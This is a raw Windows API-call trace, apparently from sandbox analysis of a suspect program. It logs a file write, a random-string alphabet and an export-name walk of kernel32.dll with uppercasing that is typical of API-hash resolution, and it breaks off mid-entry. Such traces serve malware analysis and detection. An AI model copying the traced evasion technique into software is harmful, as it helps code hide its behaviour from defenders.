[0142.093] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0142.095] CloseHandle (hObject=0x5f8) returned 1 [0142.095] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.095] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d60000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d60000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0142.096] CloseHandle (hObject=0x0) returned 0 [0142.096] CloseHandle (hObject=0x5f4) returned 1 [0142.101] VirtualFree (lpAddress=0x2d60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.101] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.102] GetTickCount () returned 0x38d3d [0142.102] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0142.102] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0142.102] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0142.102] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0142.103] lstrlenA (lpString="kernel32.dll") returned 12 [0142.103] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0142.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0142.103] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0142.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0142.103] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0142.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0142.103] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0142.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0142.103] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0142.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0142.103] lstrlenA (lpString="ADDATOMA") returned 8 [0142.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0142.103] lstrlenA (lpString="ADDATOMW") returned 8 [0142.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0142.103] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0142.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0142.103] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0142.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0142.103] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0142.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0142.103] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0142.104] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0142.104] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0142.104] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0142.104] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0142.104] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0142.104] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0142.104] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0142.104] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0142.104] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0142.104] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0142.104] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0142.104] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0142.104] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0142.104] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0142.104] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0142.104] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0142.105] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0142.105] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0142.105] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0142.105] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0142.105] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0142.105] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0142.105] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0142.105] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0142.105] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0142.105] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0142.105] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0142.105] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0142.105] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0142.105] lstrlenA (lpString="BACKUPREAD") returned 10 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0142.105] lstrlenA (lpString="BACKUPSEEK") returned 10 [0142.105] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0142.105] lstrlenA (lpString="BACKUPWRITE") returned 11 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0142.106] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0142.106] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0142.106] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0142.106] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0142.106] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0142.106] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0142.106] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0142.106] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0142.106] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0142.106] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0142.106] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0142.106] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0142.106] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0142.106] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0142.106] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0142.106] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0142.106] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0142.107] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0142.107] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0142.107] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0142.107] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0142.107] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0142.107] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0142.107] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0142.107] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0142.107] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0142.107] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0142.107] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0142.107] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0142.107] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0142.107] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0142.107] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0142.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0142.108] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0142.108] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0142.108] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0142.108] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0142.108] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0142.108] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0142.108] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0142.108] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0142.108] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0142.108] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0142.108] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0142.108] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0142.108] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0142.108] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0142.108] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0142.108] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0142.108] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0142.109] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0142.109] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0142.109] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0142.109] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0142.109] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0142.109] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0142.109] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0142.109] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0142.109] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0142.109] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0142.109] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0142.109] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0142.109] lstrlenA (lpString="BEEP") returned 4 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0142.109] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0142.109] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0142.109] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0142.109] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0142.110] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0142.110] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0142.110] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0142.110] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") 